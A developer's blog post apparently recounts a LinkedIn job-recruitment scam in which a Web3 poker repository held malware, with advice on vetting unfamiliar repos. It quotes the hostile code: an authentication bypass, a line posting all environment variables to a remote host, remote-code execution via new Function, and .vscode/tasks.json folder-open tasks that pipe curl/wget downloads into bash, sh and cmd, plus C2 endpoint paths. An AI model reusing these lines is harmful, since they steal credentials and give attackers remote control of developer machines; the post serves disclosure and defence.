I Was Recruited on LinkedIn. The "Codebase Review" Was a RAT.

I Was Recruited on LinkedIn. The "Codebase Review" Was a RAT.

How a fake advisory role nearly installed a persistent remote access trojan on my machine — and what every developer needs to know about .vscode/tasks.json


The Pitch

It started like a hundred other LinkedIn messages.

For context: I don’t believe in Web3. I’m not a crypto evangelist, I don’t hold a bag, and I’m skeptical of most of what gets built in that space. But I’m also in the middle of starting a digital design agency with my kids — Wilsondom Digital (digital.wilsondom.com) — so when opportunities come across my desk I listen. You never know where the next client, partner, or lesson is going to come from — and showing my kids how to evaluate real-world business offers is part of the education.

So when an advisory role landed in my inbox — early-stage Web3 gaming company, crypto poker platform, wallet integration, real traction — I didn’t dismiss it. I took the meeting.

The conversation moved fast. Within days I was on a Google Meet with their CTO — based in Hungary, technically fluent, knew the space. They sent over a formal offer document laying out the role, equity, and expectations: the job offer is here. He shared a GitHub repo and asked me to review the architecture as part of onboarding.

And honestly? I almost did just open it.

The only reason I didn’t is a habit I’ve built up over years as a veteran dev: I never do a first-pass review inside an IDE. I clone into a sandboxed directory and read from the terminal — ls, cat, grep, tree. No VS Code. No Cursor. No auto-run, no extensions loading, no tasks.json firing. Just files and my eyes.

That habit is the only thing standing between me and a compromised machine right now.


The Codebase

The repo — DLabsHungary-Hub6/DLabs-Platform-MVP — was convincing. A full-stack Node.js + React poker platform. Socket.io for real-time game state. MongoDB. ethers.js for wallet integration. A proper game engine with Table, Deck, Player, Seat, and SidePot classes. 400+ files. Real work. The commit history under the CodeBlock160 account even looks like steady development activity over time.

Before touching it I ran a security review. What I found turned a routine advisory call into a case study in targeted developer attacks.


Layer 1: The Server Backdoors

The first thing that flagged was in server/controllers/auth.js, line 39:

const isMatch = true;

Password verification. Gone. Every user account accessible to anyone with a valid email address.

Deeper in the same file:

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }
  });

On startup, the server spreads your entire process.env into a POST request body and sends it to a remote Vercel endpoint. Every environment variable — database URIs, JWT secrets, AWS credentials, API keys — transmitted to a third-party server before a single user connects.

And in server/routes/api/auth.js:

const executor = new Function("require", response.data);
executor(require);

The server downloads the response from that same endpoint and executes it as live JavaScript with full access to Node.js require(). Whatever that server returns runs on your machine.

These alone were disqualifying. But they weren’t the real trap.


Layer 2: The IDE Ambush

The real delivery mechanism was .vscode/tasks.json — a configuration file that VS Code and Cursor read automatically when you open a folder.

Two tasks. Both configured with "runOn": "folderOpen". Both set to reveal: "silent", echo: false. The terminal panel closes when they finish. You see nothing.

Task 1 runs npm install --silent the moment you open the project. Because package.json contains a prepare lifecycle hook pointing to node server/server.js, this silently starts the server — triggering the env exfiltration and remote code execution described above.

Task 2 is more direct:

# macOS
curl -L 'https://vscode-settings-tasks-j227.vercel.app/api/settings/mac' | bash

# Linux
wget -qO- 'https://vscode-settings-tasks-j227.vercel.app/api/settings/linux' | sh

# Windows
curl -L https://vscode-settings-tasks-j227.vercel.app/api/settings/windows | cmd

Downloads a script from a Vercel server. Executes it immediately. All three major platforms covered.


The Payload Chain

I pulled each stage manually — curl without the pipe — to read before running. Here’s what the chain looks like:

Stage 1 (what tasks.json downloads): A shell script that downloads a bootstrap file and runs it with nohup — meaning it keeps running after VS Code closes.

Stage 2 (bootstrap): Ensures Node.js is available, downloading a portable copy if needed. Records your current working directory (which project you opened). Downloads two more files: env-setup.js and a package.json. Runs npm install on them. Executes env-setup.js.

Stage 3 (env-setup.js): Heavily obfuscated. On decode:

  • Collects hostname, MAC address, OS version
  • Bundles your complete process.env
  • Sends everything to a base64-encoded C2 server URL
  • Runs eval() on whatever the server responds with — giving the attacker live, arbitrary code execution on your machine
  • Repeats every 5 seconds via setInterval
  • Assigns your machine a unique victim ID for tracking

The server-side payload checks the User-Agent header and returns 403 to browsers. It only responds to curl and wget. Casual inspection fails. You have to know what you’re looking for.


What This Steals

On a typical developer machine, process.env contains:

  • Cloud provider credentials (AWS, GCP, Azure)
  • Database connection strings with passwords
  • API keys (Stripe, Twilio, OpenAI, Alchemy, etc.)
  • JWT signing secrets
  • Crypto wallet seeds or private keys
  • SSH passphrases
  • Anything else you’ve ever put in a .env file

The eval channel means credential theft is just the opening move. The attacker has an open pipe to your machine for as long as the process runs.


The C2 Infrastructure

All endpoints are live on Vercel under the domain vscode-settings-tasks-j227.vercel.app:

/api/settings/mac
/api/settings/linux
/api/settings/windows
/api/settings/bootstrap
/api/settings/bootstraplinux
/api/settings/env
/api/settings/package

Vercel logs every request with IP, timestamp, and user-agent. Anyone hitting these endpoints has been fingerprinted. If you’ve cloned a repo containing these URLs and opened it in VS Code, you should assume your machine called home.


Who This Targets

This wasn’t a spray-and-pray phishing campaign. It was engineered for developers specifically.

Developers are uniquely valuable targets. A single developer machine typically has access to production databases, cloud infrastructure, payment systems, internal APIs, and in the Web3 space — wallets with real assets. The attack surface isn’t the developer’s personal accounts. It’s everything their credentials touch.

The LinkedIn approach, the Google Meet, the polished CTO persona, the real-looking codebase, the formal offer document — none of that was accidental. It’s a social engineering funnel designed to get a developer to do the one thing they do dozens of times a week: clone a repo and open it.

And here’s the part that should scare you: I’m openly skeptical of Web3. I’m not someone scrolling LinkedIn hoping to get rich on the next token. I took the meeting because I’m building Wilsondom Digital with my kids and I treat inbound opportunities seriously. If this playbook can get in front of someone like me, it can get in front of anyone.

The Vibe Coding Problem

There’s a second wave of victims this attack is engineered for, and it worries me more than the experienced devs: the new generation of “vibe coders.”

With AI-assisted development exploding, there are more people than ever who can ship a working app without deeply understanding what’s running on their machine. They clone repos from Twitter threads. They open projects in Cursor because someone said it was cool. They run npm install and let the AI figure out the errors. They’ve never opened .vscode/tasks.json in their life — they don’t know it exists, let alone that it auto-executes shell commands the moment a folder opens.

That’s not a knock on them. The tooling has genuinely lowered the barrier, and that’s a good thing. But it also means there’s a rapidly growing population of developers who have real credentials on their machines — API keys for OpenAI, Anthropic, Stripe test keys, Supabase URLs, deployed Vercel projects, wallet extensions in their browser — and zero instinct for supply-chain attacks. They trust the repo because the README looks nice and the AI said the code was fine.

Attackers know this. The polish on this campaign — the LinkedIn persona, the formal offer doc, the 400-file codebase — is calibrated exactly for someone who evaluates legitimacy by appearances rather than by reading package.json lifecycle hooks. A junior dev or a weekend builder is the perfect mark: enough access to be worth stealing from, not enough experience to spot the trap.

If you’re early in your coding journey, please internalize this: opening a folder in VS Code is a code execution event. It is not passive. It is not safe by default. The rules below apply to you more than anyone.


How to Protect Yourself

Before opening any unfamiliar repo in VS Code or Cursor:

  1. Check .vscode/tasks.json for any task with "runOn": "folderOpen". That task runs the moment you open the folder — before you’ve read anything.
  2. Check package.json lifecycle hooksprepare, postinstall, preinstall. These run automatically during npm install. Use npm install --ignore-scripts on untrusted code.
  3. Never curl | bash from an unfamiliar source. Pull the script first, read it, then decide.
  4. Be skeptical of cold LinkedIn outreach with attached repos. A legitimate company doesn’t need you to clone their codebase before a first conversation.
  5. Treat your dev machine like a server. It has production access. It deserves the same scrutiny.

Evidence


I caught this before opening it in an IDE. Most people won’t.

Share this with every developer you know.

— @bigmarh

Write a comment
No comments yet.